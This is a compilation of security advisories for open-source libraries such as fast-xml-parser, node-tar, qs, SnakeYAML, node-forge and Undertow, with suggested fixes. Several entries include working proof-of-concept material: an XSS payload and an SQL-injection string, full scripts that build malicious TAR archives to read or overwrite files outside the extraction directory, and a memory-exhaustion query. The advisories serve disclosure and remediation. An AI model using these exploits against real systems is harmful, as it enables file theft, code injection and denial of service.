Entity encoding bypass via regex injection in DOCTYPE entity names
Summary
A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.
Details
The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.
In DocTypeReader.js, entity names are passed directly to RegExp():
js entities[entityName] = { regx: RegExp(&${entityName};, "g"), val: val };
An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.
The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:
js // v6 EntitiesParser.js line 96 const specialChar = "!?\\/[]$%{}^&()<>|+"; // no dot
Shadowing all 5 built-in entities
| Entity name | Regex created | Shadows | |---|---|---| | l. | /&l.;/g | < | | g. | /&g.;/g | > | | am. | /&am.;/g | & | | quo. | /&quo.;/g | " | | apo. | /&apo.;/g | ' |
PoC
js const { XMLParser } = require("fast-xml-parser");
const xml = <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY l. "<img src=x onerror=alert(1)>"> ]> <root> <text>Hello <b>World</b></text> </root>;
const result = new XMLParser().parse(xml); console.log(result.root.text); // Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
No special parser options needed - processEntities: true is the default.
When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.
& can be shadowed too:
js const xml2 = <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY am. "'; DROP TABLE users;--"> ]> <root>SELECT FROM t WHERE name='O&Brien'</root>;
const r = new XMLParser().parse(xml2); console.log(r.root); // SELECT FROM t WHERE name='O'; DROP TABLE users;--Brien'
Impact
This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.
- Default config, no special options - Attacker can replace any < / > / & / " / ' with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page - v5 and v6 both affected
Suggested fix
Escape regex metacharacters before constructing the replacement regex:
js const escaped = entityName.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); entities[entityName] = { regx: RegExp(&${escaped};, "g"), val: val };
For v6, add . to the blacklist in validateEntityName:
js const specialChar = "!?\\/[].{}^&()<>|+";
Severity
Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.
React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if developers are creating redirect paths from untrusted content or via an open redirect.
[!NOTE] This does not impact applications that use Declarative Mode (<BrowserRouter>).
A vulnerability was found in Undertow. This issue requires enabling the learning-push handler in the server's config, which is disabled by default, leaving the maxAge config in the handler unconfigured. The default is -1, which makes the handler vulnerable. If someone overwrites that config, the server is not subject to the attack. The attacker needs to be able to reach the server with a normal HTTP request.
Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]: javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { / block / }
Hardlink creation in [HARDLINK]: javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
- Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.
- Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC Setup
Create a new directory with these files:
poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here)
package.json json { "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/) DATABASEPASSWORD=supersecret123
server.js (vulnerable file upload server) javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar');
const PORT = 3000; const UPLOADDIR = path.join(dirname, 'uploads'); fs.mkdirSync(UPLOADDIR, { recursive: true });
http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOADDIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOADDIR, 'upload.tar'), cwd: UPLOADDIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOADDIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(http://localhost:${PORT}));
create-malicious-tar.js (attacker creates exploit TAR) javascript const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; }
// Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar');
Run
bash Setup npm install echo "DATABASEPASSWORD=supersecret123" > secret.txt
Terminal 1: Start server node server.js
Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read Returns: DATABASEPASSWORD=supersecret123
WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write
Confirm secret.txt was modified cat secret.txt Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | ~/.ssh/authorizedkeys | Direct shell access to server | | Cron Backdoor | /etc/cron.d/, ~/.crontab | Persistent code execution | | Shell RC Files | ~/.bashrc, ~/.profile | Code execution on user login | | Web App Backdoor | Application .js, .php, .py files | Immediate RCE via web requests | | Systemd Services | /etc/systemd/system/.service | Code execution on service restart | | User Creation | /etc/passwd (if running as root) | Add new privileged user |
Data Exfiltration & Corruption
1. Overwrite arbitrary files via hardlink escape + subsequent write operations 2. Read sensitive files by creating hardlinks that point outside extraction directory 3. Corrupt databases and application state 4. Steal credentials from config files, .env, secrets
Summary
The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
javascript const fs = require('fs') const path = require('path') const tar = require('tar')
const out = path.resolve('outrepro') const secret = path.resolve('secret.txt') const tarFile = path.resolve('exploit.tar') const targetSym = '/etc/passwd'
// Cleanup & Setup try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {} fs.mkdirSync(out) fs.writeFileSync(secret, 'ORIGINALDATA')
// 1. Craft malicious Link header (Hardlink to absolute local file) const h1 = new tar.Header({ path: 'exploithard', type: 'Link', size: 0, linkpath: secret }) h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd) const h2 = new tar.Header({ path: 'exploitsym', type: 'SymbolicLink', size: 0, linkpath: targetSym }) h2.encode()
// Write binary tar fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[] Extracting malicious tarball...')
// 3. Extract with default secure settings tar.x({ cwd: out, file: tarFile, preservePaths: false }).then(() => { console.log('[] Verifying payload...')
// Test Hardlink Overwrite try { fs.writeFileSync(path.join(out, 'exploithard'), 'OVERWRITTEN') if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') { console.log('[+] VULN CONFIRMED: Hardlink overwrite successful') } else { console.log('[-] Hardlink failed') } } catch (e) {}
// Test Symlink Poisoning try { if (fs.readlinkSync(path.join(out, 'exploitsym')) === targetSym) { console.log('[+] VULN CONFIRMED: Symlink points to absolute path') } else { console.log('[-] Symlink failed') } } catch (e) {} })
Impact
Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files. Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)
A flaw was found in the Undertow HTTP server core, which is used in WildFly, JBoss EAP, and other Java applications. The Undertow library fails to properly validate the Host header in incoming HTTP requests. As a result, requests containing malformed or malicious Host headers are processed without rejection, enabling attackers to poison caches, perform internal network scans, or hijack user sessions.
A flaw was found in Undertow that can cause remote denial of service attacks. When the server uses the FormEncodedDataDefinition.doParse(StreamSourceChannel) method to parse large form data encoding with application/x-www-form-urlencoded, the method will cause an OutOfMemory issue. This flaw allows unauthorized users to cause a remote denial of service (DoS) attack.
A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS).
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() })
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash bash-3.2$ printf "CONTENTSS\n" > collisiontestss bash-3.2$ ls collisiontestss bash-3.2$ printf "CONTENTESSZETT\n" > collisiontestß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collisiontestss bash-3.2$
---
PoC
javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream');
const exploitDir = path.resolve('raceexploitdir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir);
console.log('[] Testing...'); console.log([] Extraction target: ${exploitDir});
// Construct stream const stream = new PassThrough();
const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000);
// Key 1: "fss" const header1 = new tar.Header({ path: 'collisionss', mode: 0o644, size: contentA.length, }); header1.encode();
// Key 2: "fß" const header2 = new tar.Header({ path: 'collisionß', mode: 0o644, size: contentB.length, }); header2.encode();
// Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End stream.write(Buffer.alloc(1024)); stream.end();
// Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 });
stream.pipe(extract);
extract.on('end', () => { console.log('[] Extraction complete');
// Check what exists const files = fs.readdirSync(exploitDir); console.log('[] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})); });
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[] GOOD'); } else { console.log('[-] No collision'); } });
---
Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
---
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
---
An XML External Entity (XXE) vulnerability exists in org.assertj.core.util.xml.XmlStringPrettyFormatter: the toXmlDocument(String) method initializes DocumentBuilderFactory with default settings, without disabling DTDs or external entities. This formatter is used by the isXmlEqualTo(CharSequence) assertion for CharSequence values.
An application is vulnerable only when it uses untrusted XML input with one of the following methods:
- isXmlEqualTo(CharSequence) from org.assertj.core.api.AbstractCharSequenceAssert - xmlPrettyFormat(String) from org.assertj.core.util.xml.XmlStringPrettyFormatter
Impact
If untrusted XML input is processed by the methods mentioned above (e.g., in test environments handling external fixture files), an attacker could:
- Read arbitrary local files via file:// URIs (e.g., /etc/passwd, application configuration files) - Perform Server-Side Request Forgery (SSRF) via HTTP/HTTPS URIs - Cause Denial of Service via "Billion Laughs" entity expansion attacks
Mitigation
isXmlEqualTo(CharSequence) has been deprecated in favor of XMLUnit in version 3.18.0 and will be removed in version 4.0. Users of affected versions should, in order of preference:
1. Replace isXmlEqualTo(CharSequence) with XMLUnit, or 2. Upgrade to version 3.27.7, or 3. Avoid using isXmlEqualTo(CharSequence) or XmlStringPrettyFormatter with untrusted input.
XmlStringPrettyFormatter has historically been considered a utility for isXmlEqualTo(CharSequence) rather than a feature for AssertJ users, so it is deprecated in version 3.27.7 and removed in version 4.0, with no replacement.
References
- CWE-611: Improper Restriction of XML External Entity Reference - OWASP XXE Prevention Cheat Sheet
Summary
The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.
Details
The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).
Vulnerable code (lib/parse.js:159-162): javascript if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check }
Working code (lib/parse.js:175): javascript else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; }
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.
PoC
Test 1 - Basic bypass: bash npm install qs
javascript const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5)
Test 2 - DoS demonstration: javascript const qs = require('qs'); const attack = 'a[]=' + Array(10000).fill('x').join('&a[]='); const result = qs.parse(attack, { arrayLimit: 100 }); console.log(result.a.length); // Output: 10000 (should be max 100)
Configuration: - arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2) - Use bracket notation: a[]=value (not indexed a[0]=value)
Impact
Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.
Attack scenario: 1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times) 2. Application parses with qs.parse(query, { arrayLimit: 100 }) 3. qs ignores limit, parses all 100,000 elements into array 4. Server memory exhausted → application crashes or becomes unresponsive 5. Service unavailable for all users
Real-world impact: - Single malicious request can crash server - No authentication required - Easy to automate and scale - Affects any endpoint parsing query strings with bracket notation
Suggested Fix
Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.
Current code (lib/parse.js:159-162): javascript if (root === '[]' && options.parseArrays) { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); // No arrayLimit check }
Fixed code: javascript if (root === '[]' && options.parseArrays) { // Use currentArrayLength already calculated at line 147-151 if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior) if (currentArrayLength >= options.arrayLimit) { obj = options.plainObjects ? { proto: null } : {}; obj[currentArrayLength] = leaf; } else { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); } }
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).
A XSS vulnerability exists in in React Router's <ScrollRestoration> API in Framework Mode when using the getKey/storageKey props during Server-Side Rendering which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the keys.
[!NOTE] This does not impact applications if developers have disabled server-side rendering in Framework Mode, or if they are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Summary
CVE-2025-12816 has been reserved by CERT/CC
Description An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.
Details
A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.
This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).
Impact
This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.
This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2. https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.
The following components in node-forge are impacted. lib/asn1.js lib/x509.js lib/pkcs12.js lib/pkcs7.js lib/rsa.js lib/pbe.js lib/ed25519.js
Any downstream application using these components is impacted.
These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.
Summary
An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.
Details
An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.
Impact
This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.
This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.
Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.
A flaw was found in undertow. Servlets annotated with @MultipartConfig may cause an OutOfMemoryError due to large multipart content. This may allow unauthorized users to cause remote Denial of Service (DoS) attack. If the server uses fileSizeThreshold to limit the file size, it's possible to bypass the limit by setting the file name in the request to null.
Summary The HttpPostRequestDecoder can be tricked to accumulate data. I have spotted currently two attack vectors
Details 1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the bodyListHttpData list. 2. The decoder cumulates bytes in the undecodedChunk buffer until it can decode a field, this field can cumulate data without limits
PoC
Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder
Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3
Impact Any Netty based HTTP server that uses the HttpPostRequestDecoder to decode a form.
Summary SnakeYaml's Constructor class, which inherits from SafeConstructor, allows any type be deserialized given the following line:
new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);
Types do not have to match the types of properties in the target class. A ConstructorException is thrown, but only after a malicious payload is deserialized.
Severity High, lack of type checks during deserialization allows remote code execution.
Proof of Concept Execute bash run.sh. The PoC uses Constructor to deserialize a payload for RCE. RCE is demonstrated by using a payload which performs a http request to http://127.0.0.1:8000.
Example output of successful run of proof of concept:
$ bash run.sh
[+] Downloading snakeyaml if needed [+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE nc: no process found [+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server. [+] An exception is expected. Exception: Cannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0 in 'string', line 1, column 1: payload: !!javax.script.ScriptEn ... ^ Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager in 'string', line 1, column 10: payload: !!javax.script.ScriptEngineManag ... ^
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291) at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172) at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332) at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230) at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220) at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174) at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158) at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491) at org.yaml.snakeyaml.Yaml.load(Yaml.java:416) at Main.main(Main.java:37) Caused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167) at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171) at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81) at java.base/java.lang.reflect.Field.set(Field.java:780) at org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44) at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286) ... 9 more [+] Dumping Received HTTP Request. Will not be empty if PoC worked GET /proof-of-concept HTTP/1.1 User-Agent: Java/11.0.14 Host: localhost:8000 Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2 Connection: keep-alive
Further Analysis Potential mitigations include, leveraging SnakeYaml's SafeConstructor while parsing untrusted content.
See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject.
Timeline Date reported: 4/11/2022 Date fixed: 30/12/2022 Date disclosed: 10/13/2022
A flaw was found in Apache Commons Text packages 1.5 through 1.9. The affected versions allow an attacker to benefit from a variable interpolation process contained in Apache Commons Text, which can cause properties to be dynamically defined. Server applications are vulnerable to remote code execution (RCE) and unintentional contact with untrusted remote servers.
Denial of Service (DoS)
A flaw was found in the snakeyaml package due to a stack-overflow in parsing YAML files. By persuading a victim to open a specially-crafted file, a remote attacker could cause the application to crash.
A flaw was found in the snakeyaml package due to a stack-overflow in parsing YAML files. By persuading a victim to open a specially-crafted file, a remote attacker could cause the application to crash, resulting in a denial of service.
A flaw was found in the snakeyaml package due to a stack-overflow in parsing YAML files. By persuading a victim to open a specially-crafted file, a remote attacker could cause the application to crash.
A flaw was found in the snakeyaml package due to a stack-overflow in parsing YAML files. By persuading a victim to open a specially-crafted file, a remote attacker could cause the application to crash.
Overview An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions.
Am I Affected? You are affected by this vulnerability if you meet all of the following preconditions:
1. Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0 2. Application uses the jws.createVerify() function for HMAC algorithms 3. Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines
You are NOT affected by this vulnerability if you meet any of the following preconditions: 1. Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability) 2. Application uses only asymmetric algorithms (e.g. RS256) 3. Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines
Fix Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1
Acknowledgement Okta would like to thank Félix Charette for discovering this vulnerability.
DOMPurify could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a prototype pollution. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.
A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.
An issue was discovered in PyTorch v2.5 and v2.7.1. Omission of profiler.stop() can cause torch.profiler.profile (PythonTracer) to crash or hang during finalization, leading to a Denial of Service (DoS).
Impact
A bug in on-headers versions < 1.1.0 may result in response headers being inadvertently modified when an array is passed to response.writeHead()
Patches
Users should upgrade to 1.1.0
Workarounds
Uses are encouraged to upgrade to 1.1.0, but this issue can be worked around by passing an object to response.writeHead() rather than an array.
DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFEFORTEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).
Stack Overflow in Snakeyaml